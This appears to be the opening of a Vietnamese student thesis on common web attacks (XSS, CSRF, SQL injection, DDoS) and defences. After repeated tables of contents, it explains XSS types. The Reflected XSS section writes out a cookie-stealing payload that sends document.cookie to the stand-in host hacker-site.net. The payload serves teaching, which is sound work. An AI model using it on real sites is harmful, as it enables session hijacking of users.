TỔNG QUAN CÁC KỸ THUẬT TẤN CÔNG WEBSITE VÀ NGĂN CHẶN
Cross Site Scripting (XSS)
1.1.3 Các loại tấn công XSS 7
Cross-site Request Forgery (CSRF)
SQL Injection
Denial Of Service – Tấn công từ chối dịch vụ
1.4.2.1 Kiến trúc tổng quan của DDOS 37
1.4.2.2 Phân loại tấn công DDOS 41
1.4.2.3.1 Dựa trên vị trí triển khai 44
1.4.2.3.2 Dựa trên giao thức mạng 45
1.4.2.3.3 Dựa trên thời điểm hành động 46
Chương 2: XÂY DỰNG HỆ THỐNG WEBSITE VÀ NHỮNG LỖ HỔNG BẢO MẬT TRÊN
2.1.2 Ưu, nhược điểm của ngôn ngữ Golang 49
2.1.3 Cơ sở dữ liệu MySQL trong Golang 49
2.1.3.2 Kết nối MySQL tới Golang 50
2.1.4 Cài đặt Golang trên các môi trường 50
2.1.4.1 Cài đặt trên môi trường Windows 50
2.1.4.2 Cài đặt trên môi trường Linux/MacOS 51
2.2.2 Yêu cầu phi chức năng 52
2.2.3.2 Use Case quản trị viên: 57
2.3.1 Thiết kế cơ sở dữ liệu 59
2.4 Các lỗi bảo mật trong website 62
Chương 3: XÂY DỰNG, THỰC HIỆN CÁC TẤN CÔNG WEBSITE VÀ NGĂN CHẶN 66
3.1.1 Xây dựng Modul tấn công 66
3.1.2 Quá trình thực thi modul tấn công 67
3.1.3 Xây dựng modul ngăn chặn 68
3.2.1 Xây dụng modul tấn công 71
3.2.3 Xây dựng modul ngăn chặn 73
3.3.1 Xây dựng modul tấn công 74
3.3.3 Xây dựng modul ngăn chặn 76
3.4.3 Thực thi modul ngăn chặn 80
3.5.3 Xây dựng model ngăn chặn 89
3.6.1 Thực hiện công cụ tấn công 90
3.6.3 Xây dựng modul ngăn chặn 93
(Ghi rõ từng thời gian tiến hành các công việc của luận văn, thời gian thí nghiệm, thăm quan hiện trường, )
STT Thời gian Công việc Ghi chú
1 Tuần 1,2 Gặp mặt sinh viên và xác nhận đề tài
2 Tuần 3,4 Phân tích đề tài, xác định nội dung công việc
3 Tuần 5,6,7 Tìm hiểu các tấn công web phổ biến
4 Tuần 8,9,10 Xây dựng modul tấn công, sử dụng tool
5 Tuần 11,12 Xây dựng modul và sử dụng các công cụ phòng thủ
6 Tuần 13,14 Xem xét tiến độ và hiệu chỉnh
7 Tuần 15 Hướng dẫn viết báo cáo khóa luận
8 Tuần 16,17 Tiếp tục báo cáo tiến độ và xem nội dung khóa luận
9 Tuần 18 Hiệu chỉnh báo cáo lần cuối Ý kiến của giáo viên hướng dẫn:
(ký và ghi rõ họ tên)
Người viết đề cương (ký và ghi rõ họ tên)
1 Tóm tắt ý tưởng đề tài 3
2.1 Tính cấp thiết của đề tài 3
2.2 Mục đích của đề tài 3
2.3 Đối tượng và phạm vi nghiên cứu 3
2.5 Kết quả dự kiến đạt được 4
Chương 1: TỔNG QUAN CÁC KỸ THUẬT TẤN CÔNG WEBSITE VÀ NGĂN CHẶN 5
1.1.3 Các loại tấn công XSS 7
1.2 Cross-site Request Forgery (CSRF) 15
1.4 Denial Of Service – Tấn công từ chối dịch vụ 33
1.4.2.1 Kiến trúc tổng quan của DDOS 37
1.4.2.2 Phân loại tấn công DDOS 41
1.4.2.3.1 Dựa trên vị trí triển khai 44
1.4.2.3.2 Dựa trên giao thức mạng 45
1.4.2.3.3 Dựa trên thời điểm hành động 46
Chương 2: XÂY DỰNG HỆ THỐNG WEBSITE VÀ NHỮNG LỖ HỔNG BẢO MẬT TRÊN
2.1.2 Ưu, nhược điểm của ngôn ngữ Golang 49
2.1.3 Cơ sở dữ liệu MySQL trong Golang 49
2.1.3.2 Kết nối MySQL tới Golang 50
2.1.4 Cài đặt Golang trên các môi trường 50
2.1.4.1 Cài đặt trên môi trường Windows 50
2.1.4.2 Cài đặt trên môi trường Linux/MacOS 51
2.2.2 Yêu cầu phi chức năng 52
2.2.3.2 Use Case quản trị viên: 57
2.3.1 Thiết kế cơ sở dữ liệu 59
2.4 Các lỗi bảo mật trong website 62
Chương 3: XÂY DỰNG, THỰC HIỆN CÁC TẤN CÔNG WEBSITE VÀ NGĂN CHẶN 66
3.1.1 Xây dựng Modul tấn công 66
3.1.2 Quá trình thực thi modul tấn công 67
3.1.3 Xây dựng modul ngăn chặn 68
3.2.1 Xây dụng modul tấn công 71
3.2.3 Xây dựng modul ngăn chặn 73
3.3.1 Xây dựng modul tấn công 74
3.3.3 Xây dựng modul ngăn chặn 76
3.4.3 Thực thi modul ngăn chặn 80
3.5.3 Xây dựng model ngăn chặn 89
3.6.1 Thực hiện công cụ tấn công 90
3.6.3 Xây dựng modul ngăn chặn 93
DANH MỤC TÀI LIỆU THAM KHẢO 99
Hình 1.1.3.1: Miêu tả Chiếm phiên làm việc của người dùng
Hình 1.1.3.2.3: Kịch bản khai thác mã độc của Hacker
Hình 1.1.3.3.4: Kịch bản khai thác bằng Script
Hình 1.3.2.2: Tấn công by pass password
Hình 1.3.2.3: Mô hình Inline Injection
Hình 1.3.2.5: Mô hình Terminating Injection
Hình 1.4.2.1.1: Mô hình IRC-Based
Hình 1.4.2.1.2: Thành phần Agent trong mô hình IRC-Based
Hình 1.4.2.1.3: Thành phần Secret Channel trong mô hình IRC-Based Hình 1.4.2.2.1: Các dạng DDos
Hình 1.4.2.2.2: Mô hình TCP SYS Attack
Hình 2.2.3.1.1: Mô hình Use Case người dùng
Hình 2.2.3.2.1: Mô hình Use Case Quản Trị Viên
Hình 3.1.1: Công cụ tấn công vét cạn
Hình 3.2.1: Script tấn công XSS
Hình 3.3.1: Script tấn công CRSF
Hình 3.4.1: Mô hình tấn công HTTP POST DDOS
Bảng 2.2.3.1.1: Use Case Đăng Ký
Bảng 2.2.3.1.2: Use Case Đăng Nhập
Bảng 2.2.3.1.3: Use Case Đổi Mật Khẩu
Bảng 2.2.3.1.4: Use Case Xem Thông Tin Phim
Bảng 2.2.3.1.5: Use Case Xem Phim
Bảng 2.2.3.1.6: Use Case Bình Luận
Bảng 2.2.3.1.7: Use Case Thích Bình Luận
Bảng 2.2.3.1.8: Use Case Tìm Kiếm
Bảng 2.2.3.1.9: Use Case Xem Thông Tin Liên Hệ
Bảng 2.2.3.2.1: Use Case Đăng Nhập
Bảng 2.2.3.2.2: Use Case Đăng Xuất
Bảng 2.2.3.2.3: Use Case Xem Danh Sách Phim
Bảng 2.2.3.2.4: Use Case Thêm Phim
Bảng 2.2.3.2.5: Use Case Chỉnh Sửa Phim
Bảng 2.2.3.2.6: Use Case Xoá Phim
1 Tóm tắt ý tưởng đề tài
Trong những năm gần đây, Việt Nam đã có sự phát triển mạnh mẽ, đặc biệt trong lĩnh vực công nghệ thông tin và ứng dụng web Website không chỉ phổ biến mà còn trở thành phần quan trọng trong cuộc sống của mọi người, đặc biệt là các doanh nghiệp Tuy nhiên, vấn đề an toàn bảo mật cho ứng dụng web vẫn là một thách thức lớn Do đó, nhóm đã quyết định tổng hợp và đề xuất thực hiện đề tài: “Các tấn công và giải pháp bảo mật web”.
2.1 Tính cấp thiết của đề tài
Với sự phát triển nhanh chóng của công nghệ thông tin và mạng Internet, dịch vụ trực tuyến đã trở nên phong phú và đa dạng, thâm nhập vào hầu hết các lĩnh vực đời sống xã hội Tuy nhiên, thông tin trên Internet cũng yêu cầu mức độ bảo mật cao hơn do tính kinh tế, chính xác và tin cậy của nó Đồng thời, các hình thức tấn công mạng ngày càng tinh vi và phức tạp, đặt ra thách thức lớn cho các quản trị viên mạng Vì vậy, việc hiểu rõ các phương thức tấn công phổ biến và các biện pháp phòng chống là vô cùng cần thiết để đảm bảo an toàn cho hệ thống.
2.2 Mục đích của đề tài
Bài viết giúp chúng ta nhận thức rõ hơn về ứng dụng web và những mối đe dọa an toàn thông tin mà chúng ta có thể gặp phải khi sử dụng hàng ngày Nó cũng cung cấp cái nhìn sâu sắc về các kỹ thuật tấn công và biện pháp bảo mật web hiệu quả.
2.3 Đối tượng và phạm vi nghiên cứu
Tìm hiểu các kỹ thuật tấn công phổ biến nhất hiện nay như SQL Injection, Denial
Of Service, Local Attack,…Cách bảo mật, phòng thủ các loại tấn công phổ biến trên một cách tổng quan nhất
Phương pháp nghiên cứu tài liệu
Phương pháp nghiên cứu sản phẩm hoạt động
Phương pháp phân tích, tổng hợp
2.5 Kết quả dự kiến đạt được
Tìm hiểu các kĩ thuật tấn công ứng dụng Web phổ biến hiện nay
Các biện pháp bảo mật từ sự kết hợp giữa nhà quản trị mạng, nhà thiết kế ứng dụng Web và người dùng
Chương 1: TỔNG QUAN CÁC KỸ THUẬT TẤN CÔNG
Phương pháp tấn công Cross Site Scripting (XSS) cho phép hacker chèn script độc hại vào ứng dụng web để đánh cắp thông tin quan trọng như cookies và mật khẩu Thay vì tấn công máy chủ, XSS chủ yếu nhắm vào người dùng, lợi dụng sự kiểm tra lỏng lẻo của ứng dụng và sự thiếu hiểu biết của người dùng Hacker thường sử dụng các liên kết độc hại trong địa chỉ URL để kích hoạt các đoạn mã viết bằng ngôn ngữ máy khách như VBScript và JavaScript, từ đó thực thi trên trình duyệt của nạn nhân.
Tấn công Cross Site Scripting (XSS) liên quan đến việc gửi và chèn mã độc hại, thường được viết bằng các ngôn ngữ lập trình phía client như Javascript và HTML Các phương thức tấn công XSS có thể khác nhau, bao gồm mã độc phản chiếu trên trình duyệt của nạn nhân hoặc được lưu trữ trong cơ sở dữ liệu và chạy khi người dùng thực hiện các chức năng nhất định Nguyên nhân chính của loại tấn công này là do xác thực đầu vào dữ liệu người dùng không đầy đủ, cho phép dữ liệu độc hại xâm nhập vào dữ liệu đầu ra Khi mã độc được chèn vào mã nguồn của website, trình duyệt không thể phát hiện và ngăn chặn nó.
Các thực thi có thể gây hại, bao gồm mã độc hại có thể hoạt động trên trình duyệt của nạn nhân hoặc dưới dạng giả mạo Một số hình thức tấn công XSS có thể xảy ra, với các phương thức tấn công chính của Cross Site Scripting cần được lưu ý.
-Cross Site Scripting có thể xảy ra trên tập lệnh độc hại được thực hiện ở phía client
-Trang web hoặc form giả mạo được hiển thị cho người dùng (nơi nạn nhân nhập thông tin đăng nhập hoặc nhấp vào liên kết độc hại)
-Trên các trang web có quảng cáo được hiển thị
Tin tặc gửi email độc hại đến nạn nhân, tấn công xảy ra khi chúng tìm kiếm lỗ hổng trên website Chúng tiêm mã độc vào tập lệnh và gửi đầu ra này đến người dùng cuối, gây ra nguy cơ bảo mật nghiêm trọng.
Một ví dụ đơn giản về lỗ hổng bảo mật trên trang web là khi trường tìm kiếm cho phép người dùng nhập script, dẫn đến việc đoạn mã này được thực thi.
Hình 1.1.2.1 Nhập Script web FourOrFour
Lúc đó sau khi nhấn nút “Search”, script được nhập sẽ được thực hiện
Hình 1.1.2.2 : Thực hiện Search web FourOrFour
Cuộc tấn công XSS cho thấy lỗ hổng khi script được nhập vào trường Search và thực thi Ngoài ra, các tập lệnh độc hại khác cũng có thể được tiêm vào Nhiều Tester kết hợp tấn công Cross Site Scripting với Javascript Injection, thực hiện ở phía client Cả hai phương pháp này đều liên quan đến việc tiêm các script tấn công độc hại, nhưng trong tấn công XSS, các thẻ không cần thiết để thực thi script.
1.1.3 Các loại tấn công XSS
Có 3 dạng tấn công XSS chính:
Lỗi Reflected XSS có thể bị khai thác theo nhiều cách, trong đó phổ biến nhất là chiếm đoạt phiên làm việc của người dùng, cho phép kẻ tấn công truy cập dữ liệu và quyền hạn của họ trên website Các bước chi tiết để thực hiện việc này sẽ được mô tả rõ ràng.
Hình 1.1.3.1: Miêu tả Chiếm phiên làm việc của người dùng
-Người dùng đăng nhập web và giả sử được gán session:
Set-Cookie: sessId^2c648fa5ef8d653adeede595dcde6f638639e4e59d4
-Bằng http://example.com/name=var+i=new+Image;+i.src=”http://hacker- site.net/”%2Bdocument.cookie;
-Giả sử example.com là website nạn nhân truy cập, hacker-site.net là trang của hacker tạo ra
-Nạn nhân truy cập đến URL bên trên
-Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request (đoạn javascript của hacker)
-Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript
-Đoạn javascript mà hacker tạo ra thực tế như sau: var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;
-Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng:
GET /sessId^2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1
Hacker có thể chiếm đoạt phiên làm việc của người dùng bằng cách bắt được nội dung yêu cầu từ phía website, từ đó giả mạo danh tính nạn nhân và thực hiện các quyền truy cập trên website mà nạn nhân có Để thực hiện điều này, hacker sẽ gửi cho người dùng một URL nhất định.
Stored XSS khác với Reflected XSS ở chỗ nó nhắm đến nhiều nạn nhân hơn, xảy ra khi ứng dụng web không kiểm tra kỹ dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu Lỗi này thường xuất hiện ở các form góp ý hoặc bình luận trên trang web Kỹ thuật Stored XSS yêu cầu hacker thực hiện ít nhất hai bước: đầu tiên, họ sẽ sử dụng các điểm đầu vào không được kiểm tra để chèn mã độc vào cơ sở dữ liệu.
Hình 1.1.3.2.1: Chèn đoạn mã vào cơ sở dữ liệu
Khi người dùng truy cập vào ứng dụng web và thực hiện các thao tác với dữ liệu đã lưu, mã độc của hacker sẽ được kích hoạt trên trình duyệt của người dùng.
Hình 1.1.3.2.2: Đoạn mã của Hacker được thực thi trên trình duyệt
Kịch bản khai thác theo mô hình trên:
Hình 1.1.3.2.3: Kịch bản khai thác mã độc của Hacker
Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công:
Reflected XSS yêu cầu hacker lừa nạn nhân truy cập vào URL độc hại, trong khi Stored XSS cho phép hacker chèn mã độc vào cơ sở dữ liệu của ứng dụng và chỉ cần chờ nạn nhân tự động truy cập mà không hay biết Điều này khiến nạn nhân tưởng rằng việc truy cập dữ liệu là hoàn toàn bình thường, trong khi thực tế họ đang bị tấn công.
Mục tiêu của hacker trong các cuộc tấn công XSS sẽ dễ dàng đạt được hơn khi nạn nhân vẫn đang trong phiên làm việc của ứng dụng web Đối với Reflected XSS, hacker có thể lừa nạn nhân đăng nhập và truy cập vào URL mà hắn cung cấp để thực thi mã độc Tuy nhiên, với Stored XSS, mã độc đã được lưu trữ trong cơ sở dữ liệu web, do đó, mỗi khi người dùng truy cập các chức năng liên quan, mã độc sẽ tự động được thực thi Điều này thường xảy ra khi các chức năng này yêu cầu xác thực, khiến người dùng vẫn ở trong phiên làm việc.